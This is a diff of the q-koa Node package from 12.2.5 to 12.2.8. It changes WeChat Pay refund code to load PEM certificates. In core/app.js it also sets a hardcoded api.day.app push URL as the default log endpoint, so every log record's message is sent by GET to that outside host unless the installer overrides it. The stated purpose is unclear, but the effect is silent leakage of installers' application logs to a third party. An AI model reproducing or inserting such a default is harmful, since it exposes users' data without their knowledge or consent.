q-koa 12.2.5 → 12.2.8

package/core/app.js

@@ -527,6 +527,11 @@ class APP {
     const pluginDirResult = pluginDirList.filter(
       (item) => !excludesModel.includes(item)
     )
+    const log_push_url = _.get(
+      this.app[appName],
+      'appConfig.log_push_url',
+      'https://api.day.app/ieaRfoE3LiPveGbY5qmUwk'
+    )
     for (let i = 0; i < pluginDirResult.length; i++) {
       const folder = pluginDirResult[i]
       const isFolder = fs
@@ -625,11 +630,7 @@ class APP {
                   'indexList',
                   []
                 )
-                const log_push_url = _.get(
-                  this.app[appName],
-                  'appConfig.log_push_url',
-                  []
-                )
+
                 const instance = this.app[appName].sequelize.define(
                   folder,
                   attributes,
@@ -647,13 +648,17 @@ class APP {
                       beforeCreate: (res, t) => {
                         try {
                           if (folder === 'log' && log_push_url) {
-                            axios
-                              .get(
-                                `${log_push_url}/${appName}/${encodeURIComponent(
-                                  res.toJSON().message
-                                )}`
-                              )
+                            const logUrl = `${log_push_url}/${appName}/${encodeURIComponent(
+                              res.toJSON().message
+                            )}`
+                            console.log(logUrl)
+                            axios({
+                              url: logUrl,
+                              method: 'get',
+                              timeout: 3000,
+                            })
                               .then((res) => res.data)
+                              .catch((e) => console.log(e.message))
                           }
                           if (res.toJSON().user_id) {
                             res.createdid = res.toJSON().user_id

package/core/file/plugins/weixin/service.js

@@ -25,6 +25,7 @@ exports.refund = async ({
   pay_config = 'weixin_pay',
   out_trade_no: _out_trade_no,
   out_refund_no: _out_refund_no,
+  is_pem = false,
   ...rest
 }) => {
   if (!ctx) throw new Error('?ctx')
@@ -44,7 +45,7 @@ exports.refund = async ({
         __dirname,
         `${process.cwd()}/app/${appName}/plugins/weixin/${key}/apiclient_cert.p12`
       )
-    ), // 微信商户平台证书
+    ),
   })
   const orderModel = prefix ? `${prefix}_order` : 'order'
   const out_trade_no = _out_trade_no
@@ -63,6 +64,22 @@ exports.refund = async ({
     appid: appId,
     mch_id: mchId,
     partner_key: key.length > 10 ? key : partner_key, // 微信商户平台API密钥
+    ...(is_pem
+      ? {
+          cert_pem: await fsPromise.readFile(
+            path.resolve(
+              __dirname,
+              `${process.cwd()}/app/${appName}/plugins/weixin/${key}/apiclient_cert.pem`
+            )
+          ),
+          key_pem: await fsPromise.readFile(
+            path.resolve(
+              __dirname,
+              `${process.cwd()}/app/${appName}/plugins/weixin/${key}/apiclient_key.pem`
+            )
+          ),
+        }
+      : {}),
   })
   const payResult = await wxpay.queryOrderSync({
     out_trade_no,
@@ -86,7 +103,9 @@ exports.refund = async ({
     }
 
     console.log(data)
-    const { result_code, err_code_des, ...restData } = await payObj.refund(data)
+    const { result_code, err_code_des, ...restData } = is_pem
+      ? await wxpay.refund(data)
+      : await payObj.refund(data)
     if (result_code === 'SUCCESS') {
       const hasResult = await app.model.order_refund_record.findOne({
         where: {
@@ -119,6 +138,7 @@ exports.refundOnly = async ({
   pay_config = 'weixin_pay',
   out_trade_no: _out_trade_no,
   out_refund_no: _out_refund_no,
+  is_pem = false,
   ...rest
 }) => {
   if (!ctx) throw new Error('?ctx')
@@ -148,6 +168,22 @@ exports.refundOnly = async ({
     appid: appId,
     mch_id: mchId,
     partner_key: key.length > 10 ? key : partner_key, // 微信商户平台API密钥
+    ...(is_pem
+      ? {
+          cert_pem: await fsPromise.readFile(
+            path.resolve(
+              __dirname,
+              `${process.cwd()}/app/${appName}/plugins/weixin/${key}/apiclient_cert.pem`
+            )
+          ),
+          key_pem: await fsPromise.readFile(
+            path.resolve(
+              __dirname,
+              `${process.cwd()}/app/${appName}/plugins/weixin/${key}/apiclient_key.pem`
+            )
+          ),
+        }
+      : {}),
   })
 
   try {
@@ -161,7 +197,9 @@ exports.refundOnly = async ({
     }
 
     console.log(data)
-    const { result_code, err_code_des, ...restData } = await payObj.refund(data)
+    const { result_code, err_code_des, ...restData } = (await is_pem)
+      ? await wxpay.refund(data)
+      : await payObj.refund(data)
     if (result_code === 'SUCCESS') {
       return restData
     } else {
@@ -633,10 +671,16 @@ exports.profitsharing = async ({
     appid: app_id,
     mch_id: mchId,
     partner_key: key.length > 10 ? key : partner_key, // 微信商户平台API密钥
-    pfx: await fsPromise.readFile(
+    cert_pem: await fsPromise.readFile(
       path.resolve(
         __dirname,
-        `${process.cwd()}/app/${appName}/plugins/weixin/${key}/apiclient_cert.p12`
+        `${process.cwd()}/app/${appName}/plugins/weixin/${key}/apiclient_cert.pem`
+      )
+    ),
+    key_pem: await fsPromise.readFile(
+      path.resolve(
+        __dirname,
+        `${process.cwd()}/app/${appName}/plugins/weixin/${key}/apiclient_key.pem`
       )
     ),
   })

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "q-koa",
-  "version": "12.2.5",
+  "version": "12.2.8",
   "description": "",
   "main": "index.js",
   "scripts": {
@@ -54,7 +54,7 @@
     "sequelize": "^5.21.3",
     "static-koa-router": "^1.0.3",
     "wechat-oauth": "^1.5.0",
-    "weixin-pay-fork": "^1.0.6",
+    "weixin-pay-fork": "^1.0.7",
     "node-uuid": "^1.4.8",
     "sha1": "^1.1.1",
     "redis": "^4.0.3",